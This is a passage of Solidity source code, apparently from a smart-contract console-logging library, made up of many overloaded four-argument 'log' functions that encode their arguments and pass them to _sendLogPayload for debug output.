_sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,bool)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,address)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,uint)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,string)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,bool)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,address)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,uint)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,string)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,bool)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,address)", p0, p1, p2, p3));
}
function log(uint p0, address p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,uint)", p0, p1, p2, p3));
}
function log(uint p0, address p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,string)", p0, p1, p2, p3));
}
function log(uint p0, address p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,bool)", p0, p1, p2, p3));
}
function log(uint p0, address p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,address)", p0, p1, p2, p3));
}
function log(uint p0, address p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,string,uint)", p0, p1, p2, p3));
}
function log(uint p0, address p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,string,string)", p0, p1, p2, p3));
}
function log(uint p0, address p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,string,bool)", p0, p1, p2, p3));
}
function log(uint p0, address p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,string,address)", p0, p1, p2, p3));
}
function log(uint p0, address p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,uint)", p0, p1, p2, p3));
}
function log(uint p0, address p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,string)", p0, p1, p2, p3));
}
function log(uint p0, address p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,bool)", p0, p1, p2, p3));
}
function log(uint p0, address p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,address)", p0, p1, p2, p3));
}
function log(uint p0, address p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,address,uint)", p0, p1, p2, p3));
}
function log(uint p0, address p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,address,string)", p0, p1, p2, p3));
}
function log(uint p0, address p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,address,bool)", p0, p1, p2, p3));
}
function log(uint p0, address p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,address,address)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,uint)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,string)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,bool)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,address)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,string,uint)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,string,string)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,string,bool)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,string,address)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,uint)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,string)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,bool)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,address)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,address,uint)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,address,string)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,address,bool)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,address,address)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,uint,uint)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,uint,string)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,uint,bool)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,uint,address)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,string,uint)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,string,string)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,string,bool)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,string,address)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,bool,uint)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,bool,string)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,bool,bool)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,bool,address)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,address,uint)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,address,string)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,address,bool)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,address,address)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,uint)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,string)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,bool)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,address)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,string,uint)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,string,string)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,string,bool)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,string,address)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,uint)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,string)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,bool)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,address)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,address,uint)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,address,string)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,address,bool)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,address,address)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,uint,uint)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,uint,string)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,uint,bool)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,uint,address)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,string,uint)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,string,string)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,string,bool)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,string,address)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,bool,uint)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,bool,string)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,bool,bool)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,bool,address)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,address,uint)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,address,string)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,address,bool)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,address,address)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,uint)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,string)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,bool)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,address)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,uint)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,string)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,bool)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,address)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,uint)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,string)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,bool)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,address)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,uint)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,string)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,bool)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,address)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,uint)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,string)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,bool)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,address)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,string,uint)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,string,string)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,string,bool)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,string,address)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,uint)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,string)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,bool)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,address)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,address,uint)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,address,string)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,address,bool)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,address,address)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,uint)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,string)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,bool)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,address)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,uint)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,string)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,bool)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,address)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,uint)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,string)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,bool)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,address)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,uint)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,string)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,bool)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,address)", p0, p1, p2, p3));
}
function log(bool p0, address p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,uint)", p0, p1, p2, p3));
}
function log(bool p0, address p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,string)", p0, p1, p2, p3));
}
function log(bool p0, address p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,bool)", p0, p1, p2, p3));
}
function log(bool p0, address p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,address)", p0, p1, p2, p3));
}
function log(bool p0, address p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,string,uint)", p0, p1, p2, p3));
}
function log(bool p0, address p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,string,string)", p0, p1, p2, p3));
}
function log(bool p0, address p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,string,bool)", p0, p1, p2, p3));
}
function log(bool p0, address p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,string,address)", p0, p1, p2, p3));
}
function log(bool p0, address p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,uint)", p0, p1, p2, p3));
}
function log(bool p0, address p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,string)", p0, p1, p2, p3));
}
function log(bool p0, address p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,bool)", p0, p1, p2, p3));
}
function log(bool p0, address p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,address)", p0, p1, p2, p3));
}
function log(bool p0, address p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,address,uint)", p0, p1, p2, p3));
}
function log(bool p0, address p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,address,string)", p0, p1, p2, p3));
}
function log(bool p0, address p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,address,bool)", p0, p1, p2, p3));
}
function log(bool p0, address p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,address,address)", p0, p1, p2, p3));
}
function log(address p0, uint p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,uint)", p0, p1, p2, p3));
}
function log(address p0, uint p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,string)", p0, p1, p2, p3));
}
function log(address p0, uint p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,bool)", p0, p1, p2, p3));
}
function log(address p0, uint p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,address)", p0, p1, p2, p3));
}
function log(address p0, uint p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,string,uint)", p0, p1, p2, p3));
}
function log(address p0, uint p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,string,string)", p0, p1, p2, p3));
}
function log(address p0, uint p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,string,bool)", p0, p1, p2, p3));
}
function log(address p0, uint p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,string,address)", p0, p1, p2, p3));
}
function log(address p0, uint p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,uint)", p0, p1, p2, p3));
}
function log(address p0, uint p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,string)", p0, p1, p2, p3));
}
function log(address p0, uint p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,bool)", p0, p1, p2, p3));
}
function log(address p0, uint p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,address)", p0, p1, p2, p3));
}
function log(address p0, uint p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,address,uint)", p0, p1, p2, p3));
}
function log(address p0, uint p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,address,string)", p0, p1, p2, p3));
}
function log(address p0, uint p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,address,bool)", p0, p1, p2, p3));
}
function log(address p0, uint p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,address,address)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,uint,uint)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,uint,string)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,uint,bool)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,uint,address)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,string,uint)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,string,string)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,string,bool)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,string,address)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,bool,uint)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,bool,string)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,bool,bool)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,bool,address)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,address,uint)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,address,string)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,address,bool)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,address,address)", p0, p1, p2, p3));
}
function log(address p0, bool p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,uint)", p0, p1, p2, p3));
}
function log(address p0, bool p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,string)", p0, p1, p2, p3));
}
function log(address p0, bool p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,bool)", p0, p1, p2, p3));
}
function log(address p0, bool p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,address)", p0, p1, p2, p3));
}
function log(address p0, bool p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,string,uint)", p0, p1, p2, p3));
}
function log(address p0, bool p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,string,string)", p0, p1, p2, p3));
}
function log(address p0, bool p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,string,bool)", p0, p1, p2, p3));
}
function log(address p0, bool p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,string,address)", p0, p1, p2, p3));
}
function log(address p0, bool p1, bool p2, uint p3) internal view {
